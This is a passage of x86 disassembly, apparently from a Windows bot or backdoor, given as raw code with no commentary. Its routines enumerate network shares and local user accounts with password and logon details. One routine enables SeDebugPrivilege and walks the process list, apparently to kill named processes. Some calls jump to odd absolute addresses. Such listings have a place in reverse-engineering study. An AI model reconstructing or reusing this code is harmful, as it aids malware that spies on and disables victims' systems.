-20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C990 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_419177 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB8C8 pop edi leave retn sub_41910C endp ; =============== S U B R O U T I N E ======================================= sub_419177 proc near ; CODE XREF: sub_41910C+Ap ; sub_41910C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_419184 pop ebp retn ; --------------------------------------------------------------------------- loc_419184: ; CODE XREF: sub_419177+9j push ebx push esi mov esi, dword_4270E8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D9A5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_419177 endp ; =============== S U B R O U T I N E ======================================= sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p ; sub_41A3C6+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push 0 push eax push esi call dword_4CB8A0 pop esi retn sub_4191B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_419177 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_419214: ; CODE XREF: sub_4191DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB918 mov ebx, eax cmp ebx, esi jz short loc_419277 cmp ebx, 0EAh jz short loc_419277 push ebx push ebx call sub_4199AC pop ecx push eax lea eax, [ebp+var_210] push offset unk_439C10 push eax call sub_41C266 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_4192E4 ; --------------------------------------------------------------------------- loc_419277: ; CODE XREF: sub_4191DB+5Dj ; sub_4191DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4192DB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_419285: ; CODE XREF: sub_4191DB+FCj push dword ptr [esi+10h] call dword_4CB8BC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41929C mov eax, offset aNo ; "No" loc_41929C: ; CODE XREF: sub_4191DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41C266 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_419285 xor esi, esi loc_4192DB: ; CODE XREF: sub_4191DB+A2j push [ebp+var_4] call dword_4CBA64 loc_4192E4: ; CODE XREF: sub_4191DB+9Aj cmp ebx, 0EAh jz loc_419214 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4191DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4193A1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41933E dec eax jz short loc_419333 dec eax jnz short loc_419359 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419443 add esp, 14h jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419333: ; CODE XREF: sub_4192FC+1Dj push ebx push edi call sub_419422 pop ecx pop ecx jmp short loc_419355 ; --------------------------------------------------------------------------- loc_41933E: ; CODE XREF: sub_4192FC+1Aj cmp [ebp+arg_8], edi jz short loc_419352 push [ebp+arg_8] push ebx push edi call sub_4193C8 add esp, 0Ch jmp short loc_419355 ; --------------------------------------------------------------------------- loc_419352: ; CODE XREF: sub_4192FC+45j push 57h pop eax loc_419355: ; CODE XREF: sub_4192FC+35j ; sub_4192FC+40j ... cmp eax, edi jnz short loc_419379 loc_419359: ; CODE XREF: sub_4192FC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_43951C[eax*4] push offset unk_439CC8 push esi call sub_41C266 add esp, 10h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_419379: ; CODE XREF: sub_4192FC+5Bj push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB840 push off_439518[eax*4] push offset unk_439C98 push esi call sub_41C266 add esp, 14h jmp short loc_4193C1 ; --------------------------------------------------------------------------- loc_4193A1: ; CODE XREF: sub_4192FC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB840 lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439C70 push esi call sub_41C266 add esp, 0Ch loc_4193C1: ; CODE XREF: sub_4192FC+7Bj ; sub_4192FC+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4192FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov edi, eax call sub_419177 push [ebp+arg_8] mov [ebp+var_24], eax call sub_419177 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB8AC pop edi leave retn sub_4193C8 endp ; =============== S U B R O U T I N E ======================================= sub_419422 proc near ; CODE XREF: sub_4192FC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_419177 push [esp+8+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx push eax push esi call dword_4CB89C pop esi retn sub_419422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_419177 push [ebp+arg_4] mov esi, eax call sub_419177 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CBA2C test eax, eax mov [ebp+arg_0], eax jnz loc_4197EB mov eax, [ebp+var_4] test eax, eax jz loc_419826 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41C266 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419562 dec eax jz short loc_41955B dec eax jz short loc_419554 mov eax, offset aUnknown ; "Unknown" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419554: ; CODE XREF: sub_419443+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_41955B: ; CODE XREF: sub_419443+105j mov eax, offset aUser_0 ; "User" jmp short loc_419567 ; --------------------------------------------------------------------------- loc_419562: ; CODE XREF: sub_419443+102j mov eax, offset aGuest ; "Guest" loc_419567: ; CODE XREF: sub_419443+10Fj ; sub_419443+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41C266 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41C266 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409869 add esp, 20h pop edi pop ebx jmp short loc_419817 ; --------------------------------------------------------------------------- loc_4197EB: ; CODE XREF: sub_419443+35j push eax lea eax, [ebp+var_204] push offset unk_439CE8 push eax call sub_41C266 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409869 add esp, 20h loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA64 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB934 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+var_218] push offset unk_439ED8 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+var_218] push offset unk_439EA4 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA64 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA64 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset dword_4DB5E0 call sub_41C266 pop ecx mov eax, offset dword_4DB5E0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E0D4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E0D4 lea eax, [ebp+var_718] push eax call sub_41E0B7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9E4 test eax, eax jnz short loc_419B70 mov esi, offset dword_4DB3DC push offset unk_43A20C push esi call sub_41C266 pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset dword_4DB3DC push eax push offset dword_43A1E0 push esi call sub_41C266 add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2730554h push eax call dword_4CB9B8 test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB990 test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA40 mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] nop call near ptr 266076Ah mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB9F4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9D8, ebx jz loc_419E08 cmp dword_4CB8E8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CB9F4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9D8 mov esi, dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8E8 test eax, eax jz loc_419DF6 mov edi, dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A238 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call near ptr 2870000h nop test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43A298 jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax nop call near ptr 2720A41h test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+arg_C], eax jnz loc_419DC7 cmp [ebp+arg_4], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CB9F4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB894 push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+var_10C] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8E8 test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 2720A41h test eax, eax jnz short loc_419E33 push edi call esi jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43A438 rep movsd mov dword ptr [eax+94h], 1 lea 